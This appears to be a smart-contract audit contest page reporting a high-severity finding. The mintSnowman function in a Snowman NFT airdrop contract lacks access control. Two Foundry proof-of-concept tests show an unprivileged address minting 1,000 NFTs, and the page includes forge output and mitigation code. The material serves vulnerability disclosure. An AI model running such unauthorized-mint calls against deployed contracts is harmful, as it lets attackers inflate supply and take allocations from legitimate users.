Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Unlimited Minting via `mintSnowman` due to Missing Access Control

Description

The Snowman.sol contract contains a public/external function mintSnowman that allows any caller to mint an arbitrary number of NFTs to any address. The function lacks any access control modifiers (such as onlyOwner) or validation logic to limit the total supply or individual minting quotas.
In the context of this project, which utilizes a Merkle Airdrop for distribution, this vulnerability allows any user to bypass the SnowmanAirdrop contract entirely.

Risk Assessment

  • Severity: Critical

  • Impact:

  1. Supply Inflation: An attacker can mint the entire maximum supply in a single transaction, rendering the NFT collection worthless.

  2. Airdrop Bypassing: The intended distribution via Merkle proofs is made redundant, as users have no incentive to claim via the airdrop if they can mint for free.

  3. Griefing: An attacker can "front-run" the official airdrop launch to mint all available token IDs, preventing legitimate users from claiming their allocated NFTs.

Recommended Mitigation

Implement access control to ensure only authorized entities can call the minting function. If the NFTs are intended to be distributed via the airdrop contract, the Snowman contract should store the address of the airdrop contract and use a custom modifier.

// 1. Add an owner or authorized address variable
address public airdropContract;
// 2. Create a modifier
modifier onlyAirdrop() {
require(msg.sender == airdropContract, "Not authorized");
_;
}
// 3. Apply the modifier to the mint function
function mintSnowman(address to, uint256 quantity) external onlyAirdrop {
// Existing mint logic...
}

Alternatively, use OpenZeppelin's Ownable or AccessControl for more robust management.

Proof of Concept (PoC)

The following test demonstrates that a non-privileged address (alice) can successfully mint 1,000 NFTs without holding any special permissions or providing a Merkle proof.

Test File: test/TestSnowman.t.sol

function test_AttackMintLargeAmount() public {
// Arrange: alice is a random user with no special privileges
address attacker = alice;
uint256 mintAmount = 1000;
uint256 startingCounter = nft.getTokenCounter();
// Act: Attacker calls mintSnowman directly
vm.prank(attacker);
nft.mintSnowman(attacker, mintAmount);
// Assert: The attack succeeded
assertEq(nft.balanceOf(attacker), mintAmount);
assertEq(nft.getTokenCounter(), startingCounter + mintAmount);
console2.log("Attacker balance after exploit:", nft.balanceOf(attacker));
}

*Run this PoC using: forge test --mt test_AttackMintLargeAmount -vv*

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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